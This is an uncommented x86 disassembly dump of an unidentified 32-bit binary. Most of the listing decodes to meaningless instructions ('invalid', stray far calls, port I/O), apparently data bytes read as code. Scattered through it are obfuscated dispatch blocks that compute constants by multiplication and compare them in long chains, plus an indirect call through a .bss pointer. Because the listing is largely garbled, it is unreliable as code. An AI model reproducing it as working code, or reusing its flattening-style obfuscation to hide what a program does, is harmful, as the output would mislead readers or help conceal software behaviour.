adc byte [eax + edx*8], ch
dec ebp
dec edx
retf 0xe625
fnop
xchg esi, eax
into
mov cl, 0xc9
or edi, dword [ecx]
jb 0x67da98d1
push cs
and byte [edi - 0x58558570], al
xchg dword [eax + 0x6ca7aa7a], edx
insb byte es:[edi], dx
stosb byte es:[edi], al
sti
sub dword [esi], edx
mov ebp, 0xbdac3cb0
sal esp, 0x5b
loope 0x67da9904
cmpsb byte [esi], byte es:[edi]
jns 0x67da9923
pop esp
mov ss, word [esp + ecx]
sbb al, 0xe0
fstp st(1)
pop eax
jno 0x67da998b
fbstp tbyte [ebx]
mov al, byte [0x1593502e]
leave
mov dh, 0x2a
mov dh, byte [esi]
sbb byte [esp + edi*4 + 0x32], al
jae 0x67da98bf
cld
inc eax
test dword [ebx + ebx*8 + 0x7ad7e336], ebx
pop ebx
fisub word [ecx + 0x6372c340]
mov eax, dword [0x6372c340]
js 0x67da99ac
add dword [edx + 0x2c4ba4b4], eax
std
cmp ebp, esp
les ebp, [eax - 0x4bda54d]
nop
int3
rcl dword [ebp - 0x45cd7422]
pop esp
wait
sbb dword [edx + 0x6b], ecx
jno 0x67da999f
push cs
ret
sbb ecx, dword [esi + eax*2 - 0x34]
mov esi, 0xe8e83afb
jo 0x67da99c4
jge 0x67da997e
stosb byte es:[edi], al
stc
movsb byte es:[edi], byte [esi]
mov byte [eax + ecx - 0x4d73fbbe], cl
or byte [ebp + 0x4c], dh
add al, 0x8c
mov dl, 8
jne 0x67da99f1
test al, 0x48
jg 0x67da9973
cmp eax, 0x4c657685
jbe 0x67da9a13
dec esp
out dx, eax
dec ebx
mov byte [edx], 0xcf
dec ecx
call 0xf84f4b62
int3
sub al, 0x8a
sar byte [ecx], cl
or bh, cl
lea edx, [edi]
shr dword [eax - 0x3407041e], 1
pop edx
test al, 0xc3
sbb dword [eax + edi*2 - 0x475a8d3c], esp
test al, 0x41
dec edi
imul byte [edx]
sub byte [ebx], ah
push eax
je 0x67da99c6
loope 0x67da9a36
dec edi
adc eax, 0x89bf1a8b
inc ebx
pop ebp
sub bl, byte [ecx - 0x60860c66]
adc dl, byte [edi + 0x42]
cdq
lcall 0x4257, 0x129f79f3
test al, 0xba
push ebx
loop 0x67da9a73
invalid
and eax, 0xd7b1901e
aad 0xcc
sub dword [esi], ebx
pop esp
nop
int3
jp 0x67da9a3d
add dword [edx], 0xb1ac54b0
fisubr word [ebx + edx*8 - 0x65f034b2]
invalid
mov cl, 0xde
lodsb al, byte [esi]
ror dword [esi - 0x35], cl
setp dh
xor dword [ebp + 0x54], ebx
int1
or eax, 0x1374b0f5
arpl word [esp + edx*2], di
psubd mm5, qword [eax + 0x1e]
bound ebp, qword [ebx + 0x3344c96e]
clc
out dx, al
lds ebx, [edi - 0x2d]
fild dword [0x8ddabb61]
int 0x41
insd dword es:[edi], dx
mov al, byte [0xe3da483]
salc
rol dword [esi + 0x4a], 1
add al, 0xb5
sub ebx, dword [ebx + 0x78c6cdd8]
pop es
mov ch, 0x3e
fild word [edi + 0x2a]
nop
int3
mov edi, 0x581d5a2b
mov edi, 0xba9cccb0
cld
push edi
and byte [edx + 0x44a2f4d3], ch
push esp
retf
fld xword [edx]
mov edx, 0x55c84727
sbb dword [esi + 0x6ce62379], edi
jne 0x67da9e78
stc
push 0x6cd5a61
jg 0x67da9ee3
mov cl, 0x5c
js 0x67da9f07
adc dword [ebp + 0x3258a7ce], edi
ret
lahf
das
into
pop ebp
or al, byte [edi - 0x55]
lcall 0x4e63, 0xb5f26ecc
dec esi
insd dword es:[edi], dx
std
invalid
and eax, 0x4344ae77
or eax, 0xdfa685f8
pop ds
mov al, 3
ja 0x67da9ebe
test byte [ebp + esi - 0x3c19a926], ch
xor eax, 0xc3e656da
mov byte [eax], ah
mov bh, 0x4b
add dword [ebx], 0xa543e8c9
and esi, dword [eax + 0x7c]
dec dh
jg 0x67da9e8f
popal
shl dword [ecx + 0x32fd0184], 1
jb 0x67da9f66
push ebp
insb byte es:[edi], dx
pop esi
daa
out dx, eax
cmp byte [ecx - 0x13], ah
loopne 0x67da9eb1
xchg bx, ax
mov esp, 0x90858fa7
in eax, 0xf7
inc ebx
dec ebp
jle 0x67da9ee5
mov al, 0x23
sbb byte [edi - 0x687d08c4], dl
pop eax
sub ah, byte [ebp + 0x29]
mov byte [0xde8bd528], al
inc esi
cmp al, 0xba
sub byte [0xd434bdd8], dh
and dword [eax + 0x4d4176cc], edx
or dh, bh
sbb eax, 0x5fb568bf
shr byte [edx - 0x241a494d], 1
cmc
aas
out 0xb7, al
inc ecx
pop ebx
call 0x8a49c053
xor dword [eax - 0x54], esp
rcr dword [ecx + 0x58c3777], 1
mov dh, 0x61
shr dword [ebx + 8], 1
xor eax, dword [esi - 0x4b]
pop ds
adc byte [ebp - 0x5c39788], dl
xchg ebp, eax
js 0x67da9fd1
cmp al, 0xfa
or eax, dword [ebp - 0x47343849]
sub ah, byte [eax]
mov dword [0x611a57c0], eax
inc eax
adc dword [eax], esp
add al, al
and bl, byte [ebx + 0x47]
mov dh, 0x32
stosb byte es:[edi], al
call 0xf0490038
xchg ebx, eax
mov ebp, 0x484c2a9a
pop edi
lahf
scasb al, byte es:[edi]
mov dl, byte [edx - 0x20]
xor eax, 0xb7739a58
std
nop
int3
inc esp
ret
insd dword es:[edi], dx
mov edx, 0x2a9f7f0c
invalid
jo 0x67daaa6d
les eax, [0x90165186]
int3
and al, 0
push es
mov ecx, 0x2917a501
pop ss
out 0x34, eax
mov ecx, 0x44468ded
in eax, dx
lea eax, [esi + 0x44]
mov byte [esi], 0x33
push ecx
add byte [ebx - 0x2427eb91], bh
loopne 0x67daaa71
dec esp
jl 0x67daaa23
add eax, 0x24b5e1c3
pop edx
ret
sub al, 0xad
push esp
adc dword [ebx - 0x40], esp
or ah, byte [ecx - 0x325ee19c]
sbb dword [ecx + edi + 0x6b], 0x2c
cmp ah, byte [ebp + 0x6615568]
push 0x11
cmpsb byte [esi], byte es:[edi]
idiv dword [ecx + ebx*8 - 0x4b]
mov byte [0x98644994], al
inc eax
mov dl, 0xb
or dword [ebp*2 - 0x423fac64], ebp
pop ds
fisttp word [ebp - 3]
mov dword [ebx + 0x60d870e4], esi
mov ecx, 0x2f57650
mov ah, 0x4e
out 0x7a, eax
sub dh, byte [eax - 0x50]
fmul dword [esp + ebp*8]
jmp 0x67daaa61
xchg ebx, eax
rcr dword [ebp + 0x428e65bf], 0xca
ljmp 0x4f17
nop
jmp 0x67dab659
nop
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov edx, dword [0x680a5024]
add eax, edx
mov dword [ebp - 0x10], eax
jmp 0x67dca591
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
test eax, eax
jns 0x67daee4d
mov dword [ebp - 0x158], 0xa5833
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x160], 0x2f59c
mov dword [ebp - 0x15c], 0
mov eax, dword [ebp - 0x154]
imul eax, dword [ebp - 0x160]
mov edx, eax
mov eax, dword [ebp - 0x15c]
imul eax, dword [ebp - 0x158]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x158]
mul dword [ebp - 0x160]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0x168]
xor eax, 0x9d1c8e14
mov edx, dword [ebp - 0x164]
xor edx, 0x1e
or eax, edx
je 0x67dac311
mov edx, 0x9d1c8e14
mov eax, 0x1e
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x67dac314
mov eax, dword [ebp - 0x168]
xor eax, 0x9267e
or eax, dword [ebp - 0x164]
je 0x67dab752
mov eax, dword [ebp - 0x168]
xor eax, 0xa3aa8
or eax, dword [ebp - 0x164]
je 0x67dabd33
jmp 0x67dac314
pop eax
inc esi
mul byte [ecx]
nop
out dx, al
mul dword [ecx]
ror cl, cl
invalid
pushfd
sub ebx, dword [edi + edi - 0x22]
int3
nop
jmp 0x67dac315
nop
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
movzx eax, ax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x178], 0x50ad6
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x180], 0x4ebbf
mov dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x174]
imul eax, dword [ebp - 0x180]
mov edx, eax
mov eax, dword [ebp - 0x17c]
imul eax, dword [ebp - 0x178]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x178]
mul dword [ebp - 0x180]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x188]
xor eax, 0xd00d87aa
mov edx, dword [ebp - 0x184]
xor edx, 0x18
or eax, edx
je 0x67daee20
mov edx, 0xd00d87aa
mov eax, 0x18
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67daee23
mov eax, dword [ebp - 0x188]
xor eax, 0xeeba9
or eax, dword [ebp - 0x184]
je 0x67dacadd
mov edx, 0xeeba9
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67daee23
mov eax, dword [ebp - 0x188]
xor eax, 0xc1a6c
or eax, dword [ebp - 0x184]
je 0x67dac4fc
mov edx, 0xc1a6c
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67daee23
mov eax, dword [ebp - 0x188]
xor eax, 0x77bd5
or eax, dword [ebp - 0x184]
je 0x67dae261
mov edx, 0x77bd5
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67daee23
mov eax, dword [ebp - 0x188]
xor eax, 0x4c5f8
or eax, dword [ebp - 0x184]
je 0x67dadc80
mov edx, 0x4c5f8
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67daee23
mov eax, dword [ebp - 0x188]
xor eax, 0x25a8a
or eax, dword [ebp - 0x184]
je 0x67dae842
mov edx, 0x25a8a
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x67daee23
mov eax, dword [ebp - 0x188]
xor eax, 0x7689
or eax, dword [ebp - 0x184]
je 0x67dad0be
mov eax, dword [ebp - 0x188]
xor eax, 0xb208
or eax, dword [ebp - 0x184]
je 0x67dad69f
jmp 0x67daee23
mov byte [ebp + edx*8 + 0xecb3f3b], dl
pop esp
mov edx, 0xaeab540c
push ebx
shr byte [ebp - 0x61b7aec8], cl
pop es
or esp, 0xa805a902
push ecx
inc esp
mov ch, 0xea
pop ss
nop
dec esi
add edi, dword [ecx]
xor dword [ebp - 0x66d6250e], esp
test dh, bl
mov ebx, 0xbbf1d05b
test byte [ecx], ch
invalid
daa
ljmp 0xd3f6
adc byte [ebx], al
insb byte es:[edi], dx
retf
jno 0x67dad030
rcl byte [eax], cl
push esp
push esp
xchg ecx, eax
lahf
lodsb al, byte [esi]
popfd
adc ebp, eax
retf
inc ebx
lcall 0x55c7, 0x7b736bbd
shl bl, cl
push ecx
ja 0x67dad0ef
mov ch, 0x2a
dec ebp
leave
imul eax, dword [eax - 0x5db13b68], 0x48d45058
mov dl, 0xf2
mov cl, 0xcb
adc byte [edi - 0x56e58f85], 0x3a
arpl sp, ax
mov bl, byte [ebx - 0x36eb119e]
jp 0x67dad11a
dec eax
loope 0x67dad082
jge 0x67dad167
or al, ch
loopne 0x67dad12f
jno 0x67dad087
mov eax, 0x79268243
mov edi, 0x16d626b
add dl, byte [0x29ab7ba7]
ret
invalid
xchg ebp, eax
movsb byte es:[edi], byte [esi]
out dx, eax
sbb esi, dword [edi + 0x63eb748d]
das
lodsd eax, dword es:[esi]
sub al, 0x3f
jl 0x67dad0cd
retf 0x5bb1
pop ebp
inc esp
cmpsb byte [esi], byte es:[edi]
invalid
mov edi, 0x67443c5a
xlatb
int3
stosb byte es:[edi], al
rol ah, 0xb0
test ebp, ecx
sbb ch, byte [eax + 0x12e8fda6]
jmp 0xff99c47f
mov dl, 0xdb
ror esp, 1
mov ebp, 0xcbb7c10a
sbb eax, 0x4e127ec0
sahf
cli
xor dword [ecx + edx - 0x338547c], ebx
invalid
cmp bh, byte [ebp - 4]
movsd dword es:[edi], dword [esi]
invalid
jecxz 0x67dae799
fld xword [ebp + 0x2e8a54e]
invalid
adc ebx, esi
or dword [ecx - 0x1e], edx
in eax, dx
inc esp
xor byte [ecx - 0xc], 0x8b
imul ecx, edi, 0x879b74dc
jecxz 0x67dae810
or eax, 0x6040c154
mov ch, 0x45
and edi, dword [ecx - 0x3ab7ffe]
sti
enter 0x223a, 0x39
lodsb al, byte [esi]
adc ch, byte [esi]
in al, 0xb7
scasd eax, dword es:[edi]
add al, 0x69
cmp ebp, esp
loopne 0x67dae80e
stosb byte es:[edi], al
mov eax, dword [0x9ca2805d]
test byte gs:[esi + 0x53459c3a], ah
mov byte [0x94bd6798], al
pop es
mov ebp, 0x988f336b
sub ebp, ecx
push eax
or byte [ecx], 0x9e
invalid
nop
jmp 0x67daee24
nop
mov eax, dword [section..bss]
mov edx, dword [ebp - 0x16c]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x94]
mov dword [esp], edx
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
jmp 0x67dc319c
mov dword [ebp - 0x100], 0x366b3
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0x108], 0x6f14e
mov dword [ebp - 0x104], 0
mov eax, dword [ebp - 0x108]
mov edx, dword [ebp - 0x104]
sub eax, dword [ebp - 0x100]
sbb edx, dword [ebp - 0xfc]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x110]
xor eax, 0xe3ba2
or eax, dword [ebp - 0x10c]
je 0x67db3954
mov edx, 0xe3ba2
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0xc5a52
or eax, dword [ebp - 0x10c]
je 0x67db2d92
mov edx, 0xc5a52
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0xbf0e4
or eax, dword [ebp - 0x10c]
je 0x67db0a4c
mov edx, 0xbf0e4
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0xa1363
or eax, dword [ebp - 0x10c]
je 0x67db21d0
mov edx, 0xa1363
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x96578
or eax, dword [ebp - 0x10c]
je 0x67db27b1
mov edx, 0x96578
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x940c7
or eax, dword [ebp - 0x10c]
je 0x67dafe8a
mov edx, 0x940c7
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x908e0
or eax, dword [ebp - 0x10c]
je 0x67db046b
mov edx, 0x908e0
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x8347f
or eax, dword [ebp - 0x10c]
je 0x67db685c
mov edx, 0x8347f
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x803da
or eax, dword [ebp - 0x10c]
je 0x67daf8a9
mov edx, 0x803da
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x611fb
or eax, dword [ebp - 0x10c]
je 0x67db56b9
mov edx, 0x611fb
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x50d23
or eax, dword [ebp - 0x10c]
je 0x67db4af7
mov edx, 0x50d23
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x38a9b
or eax, dword [ebp - 0x10c]
je 0x67db6e3d
mov edx, 0x38a9b
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x35521
or eax, dword [ebp - 0x10c]
je 0x67db160e
mov edx, 0x35521
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x285b0
or eax, dword [ebp - 0x10c]
je 0x67daf2c8
mov edx, 0x285b0
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x25e8b
or eax, dword [ebp - 0x10c]
je 0x67db5c9a
mov edx, 0x25e8b
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x1eeb1
or eax, dword [ebp - 0x10c]
je 0x67db4516
mov edx, 0x1eeb1
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x1e654
or eax, dword [ebp - 0x10c]
je 0x67db627b
mov edx, 0x1e654
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x1bef9
or eax, dword [ebp - 0x10c]
je 0x67db102d
mov edx, 0x1bef9
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x1789a
or eax, dword [ebp - 0x10c]
je 0x67db1bef
mov edx, 0x1789a
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x123d3
or eax, dword [ebp - 0x10c]
je 0x67db3f35
mov edx, 0x123d3
mov eax, 0
cmp edx, dword [ebp - 0x110]
sbb eax, dword [ebp - 0x10c]
jl 0x67db6e3a
mov eax, dword [ebp - 0x110]
xor eax, 0x117d
or eax, dword [ebp - 0x10c]
je 0x67db50d8
mov eax, dword [ebp - 0x110]
xor eax, 0x3e1a
or eax, dword [ebp - 0x10c]
je 0x67db3373
jmp 0x67db6e3a
push ebx
dec edi
pop edx
add dword [0x2a723735], ebx
retf
scasd eax, dword es:[edi]
or al, 0x70
mov ah, 0x67
cmp al, 0x90
int3
add al, dl
mov edi, 0xa1bcedb4
mov dh, 0x7d
arpl word [edi + 0x2d], sp
push cs
push ds
pop esp
cmp al, al
inc esp
sahf
push ebx
and ch, ah
stosb byte es:[edi], al
mov ebx, 0xcd03edf1
dec ebp
push ebp
mov byte [ebp - 0x63cfc7bb], 0xeb
stosb byte es:[edi], al
cmp esp, ecx
lds esp, [edx + ecx*8]
jno 0x67daf8cf
test eax, 0x376eb164
push ds
stosd dword es:[edi], eax
fstp dword [eax]
inc ebp
mov dl, 0x6d
lcall 0x1e73, 0xe707658
sbb dh, byte [ebx - 0xa]
pop ss
stosb byte es:[edi], al
add byte [edx + 0x57], al
or cl, byte [ebx + 0x71]
clc
adc edi, 2
xchg ebx, eax
lodsd eax, dword [esi]
leave
lodsb al, byte [esi]
movsx ebp, byte [ecx + 0x54522327]
dec ecx
out dx, al
cmc
push esp
aaa
loope 0x67daf90b
jecxz 0x67daf89c
nop
int3
test dword [edi - 0x4fc80dca], 0xa4d5c550
xor al, 0x85
adc al, 0x2d
out dx, eax
invalid
add al, 0xf2
shl dword [edi - 0x239b462a], 1
aam 0xfc
pushal
cmp eax, 0x9a9f148b
inc ebp
adc esi, ebp
loop 0x67dafe41
movsd dword es:[edi], dword [esi]
invalid
invalid
push ds
out dx, eax
xchg ecx, eax
arpl word [edi - 7], cx
lodsb al, byte [esi]
bound esi, qword [edi + 0x776abd9]
cli
pop ss
lcall 0x87b0, 0x732bf8ec
inc ebx
cmp ebp, dword [edi]
sahf
jmp 0x67db044a
add eax, 0x3515a3d4
invalid
aam 0x3a
pop eax
popfd
mov ch, 0x1c
jb 0x67db104e
pushal
inc edx
mov al, 0x5b
xor ebp, dword [esi]
fadd qword [edi + esi + 0x3fb467ec]
ret
lds edi, [ebx + 0x56ed5137]
ljmp 0xd2e6
or esi, dword [ebx]
insd dword es:[edi], dx
cmpsb byte [esi], byte es:[edi]
sal byte [edx], 0x91
push cs
inc esp
mov dl, byte [ebp + 0x54]
sub ecx, dword [ebx + 0xe]
mov ecx, dword [edi + 0x73]
mov ebx, 0x147d641c
cmp al, 0x66
xchg ecx, eax
in al, dx
push esp
mov ebp, 0xb84487c6
invalid
fadd qword [esi + 0x64ca818e]
salc
arpl word [esi - 0x36a9de09], bx
xor bh, byte [eax*2 + 0x13687049]
mov cs, esi
pop es
dec edi
sub dword [0x5a5d7580], ebx
invalid
jbe 0x67db1b31
nop
sahf
leave
inc ebp
mov ah, 6
ja 0x104629f0
jo 0x67db1bdb
fst qword [edx]
pop ss
dec edi
adc al, 0xfc
jle 0x67db1bda
lcall 0x24fe, 0xf5574b7e
xchg byte [edi + 0x7b], ch
fbstp tbyte [esi - 0x746893af]
jb 0x67db1b96
ret
in eax, dx
lea eax, [edi + eax*8]
out 0x5c, eax
popal
out 0x7f, eax
sub al, 3
cld
pop esi
mov al, 0x90
int3
bound edi, qword [esp + edx*2 + 0x2c]
push es
outsd dx, dword [esi]
jo 0x5684243c
pop edx
test dword [eax + esi*8 + 0x3a], edi
scasd eax, dword es:[edi]
loopne 0x67db1b94
retf 0x4033
jno 0x67db21df
mov ecx, 0xc133aead
scasb al, byte es:[edi]
xor eax, ecx
das
sub dword [ebx + eax*4 + 0x75b1663e], edi
cmp bh, ah
xchg esi, eax
out dx, al
pop esi
adc al, 0xde
add eax, 0xcfea100f
push ds
add al, ch
in eax, dx
mov ebx, 0x16c3c7f5
jnp 0x67db21ff
call 0x2fd0dd8e
ret
out 5, al
push cs
not byte [edi + ecx + 0x3e7da09c]
add al, 0x61
mov edx, 0xdfc28cbe
movsd dword es:[edi], dword [esi]
and dword ds:[ecx - 0x53ac4b8c], edx
dec ebx
outsd dx, dword [esi]
or esi, dword [edx + 0x5d4293cf]
push esi
adc dword [eax + 0x4c6ee9cc], 0xade10000
loope 0x67db217f
xor eax, 0x84aca43f
stosb byte es:[edi], al
js 0x67db2195
jne 0x67db2183
mov dword [ebp + 0x2a9a83b9], eax
js 0x67db219c
sbb dword [edx + 0x5db8782a], 0xffffffda
rcr byte [eax + 0x6b36a2ce], 1
push ebp
pop ebp
fcmovbe st(0), st(0)
cwde
into
mov byte [0x55366b36], al
push ebp
or al, 0x1d
jno 0x67db21f3
push esi
jecxz 0x67db21d7
into
test eax, 0xb38c1207
imul ebp, dword [ecx], 0x2c70f892
clc
jo 0x67db222e
or al, 0xef
je 0x67db21ed
inc eax
outsd dx, dword [esi]
imul esp, dword [ebp + 0x3385eb4b], 0x5b
or eax, 0xf5908914
add edx, dword [0x41dd300f]
add al, 0xb3
jmp 0x67db2208
stosd dword es:[edi], eax
push ecx
shl dword [edi], 1
nop
int3
ret
sbb byte [ebx], 0x2d
faddp st(0)
adc dword [edx], ebp
call 0x8d983355
pop es
aaa
inc esp
sbb eax, 0xc41d58ed
iretd
pop edx
sti
mov dword [edi + 0x53bf5d45], edi
dec esi
loope 0x67db33d8
dec ecx
or al, 0x8b
sub byte [ecx + esi*8 - 0x5c792479], ah
std
and al, 0x8c
mov byte [ebp - 0x32702199], ah
jp 0x67db340b
push edx
cmpsb byte [esi], byte es:[edi]
rcl byte [esi - 0x6d], cl
fimul dword [esi]
xchg dword [edi + ecx*8 - 0x4ce9215b], ecx
mov esi, 0x98468fb2
enter 0xffffffffffff8533, 0xffffffffffffffd8
add dword [ecx - 0x7f72a4de], 0x9313ad2c
jnp 0x67db33bf
fidiv word [esi + edx + 0x3b]
cmp byte [esi], al
jmp 0x5104c34b
invalid
pop ebx
mov bl, 0xee
or dword [0xcf11b883], edx
add dword [0x8d30473e], esi
add byte [ecx - 0x15], dh
inc edi
add dword [ebx], edi
xor al, 0x49
sbb eax, 0xa2e5df0d
scasb al, byte es:[edi]
fsub st(1), st(0)
fsubr qword [esi + edi*4 - 0x24]
mov esp, 0x7eddd119
insb byte es:[edi], dx
pop esp
xchg esp, eax
stosb byte es:[edi], al
xlatb
jle 0x67db33ea
or ah, byte [ecx]
std
test al, 0x31
jnp 0x67db346d
fst dword [eax + 0x5b719931]
invalid
mov eax, 0x409a6ba
hlt
pushfd
xor al, 0x5f
push edi
push 0x58
xor byte [edi + 0x54], bh
sar byte [ebx + 0x711bbd93], 1
bound ebp, qword [edi]
pop edx
popfd
xchg dword [esi - 0x22], ebp
pop esp
pop ebx
mov gs, word [ebx - 0x1336fe1]
jle 0x67db3915
mov byte [0xa2e762b4], al
wait
frstor dword [eax + 0x48]
or al, 0x6c
or byte cs:[ebp + 0x38], ch
pushal
movsd dword es:[edi], dword [esi]
mov dl, byte [edx + ebp*4 + 0x51]
xor byte [ebx], ch
inc ecx
sbb al, 0x47
xchg byte [esi + 0x2f], al
int3
jmp 0x67db3954
push eax
mov ah, 0x31
lahf
out dx, eax
jmp 0x67db38cb
sub eax, 0x35680cf
jne 0x67db38ec
nop
int3
mov edi, 0x5625309c
push esi
cmp eax, 0x9890935a
mov dh, 1
cmp bl, byte [edi - 0x71b820ff]
mov eax, ebx
pushal
sub bl, byte [edi - 0x4d]
fidiv dword [edx]
cli
add al, 0xa4
pop eax
and ebx, dword [ebx + 0x7c538679]
pop es
loope 0x67db39d5
jns 0x67db392a
pop es
sti
add ebx, ebp
enter 0x3c8, 0x51
js 0x67db39e3
inc esi
dec esi
xchg ebx, eax
das
out 0x98, al
invalid
cmp dword [esi + edi*4 - 0x533733c3], edx
mov byte [0x2c28a3f6], al
mov eax, dword [0xc9cd1d07]
lcall 0xcdf0, 0xdcc265cb
jge 0x67db3958
jns 0x67db39ef
sbb ebp, dword [eax + eax*2 - 0x38336f49]
jnp 0x67db3946
dec ebx
invalid
into
adc cl, byte [edi]
loopne 0x67db3996
jmp 0x67db399d
mov esi, 0xdd802f84
sub ch, byte [ecx + 0x3e]
invalid
lcall 0xd52, 0x446e6c6
cmp esi, dword [edi + edx]
iretd
fst qword [esi - 0x53]
push eax
ficom word [ebp + 0x2c57ed8d]
push 0x36
out 0x5c, al
dec ebp
and cl, byte [eax - 0x581dabf6]
mov dh, 0x72
fisub word [eax - 0xc3593bc]
dec ebx
sub ebx, dword [esi - 0x22d5934d]
cli
popfd
dec ecx
imul eax, dword [eax - 0x157a67e0], 0x44
dec edi
mov esp, 0x5e4d791f
push ss
sbb dword [edx], ebp
mov dword [0x332da073], eax
daa
pushfd
imul edx, dword [edx], 0x6a
sbb edi, dword [eax + 0x329367c4]
inc esi
rcl dword [eax + 0x2f09e9cc]
add byte [eax], al
leave
add dword [ebp + 0x5ed44a5b], ecx
sbb eax, 0xa1aa4951
pop esi
dec ebx
pop ss
rol ecx, 0xd6
leave
mov dword [0x6139f48c], eax
sbb dword [ebx - 0x742c685e], ecx
and bh, al
sub byte [edi], bh
salc
salc
js 0x67db3ee4
jo 0x67db3f89
mov eax, dword [0x7e0b369f]
rol dword [edx + 0x28accf52], cl
salc
mov word [ecx + ebx*8 - 0x78], ds
add esi, ecx
salc
or byte [ebx - 0x13], dh
int 0x76
mov ecx, 0xad2c08c6
add al, 0x16
mov ebx, 0xc962ca34
pop ds
salc
push eax
adc dword [esi], ebx
lds esi, [ebx + 0x65]
jnp 0x67db3f41
aam 0xac
fist word [eax + 0x13]
daa
fcom qword [ebp + 0x5a2930c]
nop
int3
arpl word [edx + 0x61], di
mov edi, 0x195fc95b
ret 0xc722
ljmp 0xd68a:0xe8dbfc0c
scasd eax, dword es:[edi]
daa
pop esi
arpl word [ecx], si
das
mov ah, 0x4e
xor cl, dl
nop
int3
out dx, al
invalid
mov esp, 0x2e9ce29
ja 0x67db4ffe
int3
pushal
loopne 0x67db50de
add al, 0xf6
mov dword [0x882a89af], eax
dec esp
push esp
mov al, 0x52
jb 0x67db505d
cmp esp, dword [edx + 0x115c5fbe]
lds esp, [edx - 0x70ffc121]
loop 0x67db5067
stosb byte es:[edi], al
push ecx
sub al, 0xc2
aas
bound edi, qword [esi - 0x336f12fa]
jmp 0x67db6e3e
jbe 0x67db50aa
enter 0xffffffffffffc5f4, 0x18
retf
push cs
invalid
imul esi, dword [eax - 0x65], 0x5a89e4c4
in al, 0x89
pop edx
aam 0xcb
mov eax, dword [0x4196575f]
les esi, [esp + ebp*2 - 0x2c]
add eax, 0x9c0e4593
add edx, dword [edx]
dec esp
jl 0x67db5c3f
sub al, 0x2b
xor byte [esi], 0xfe
dec eax
invalid
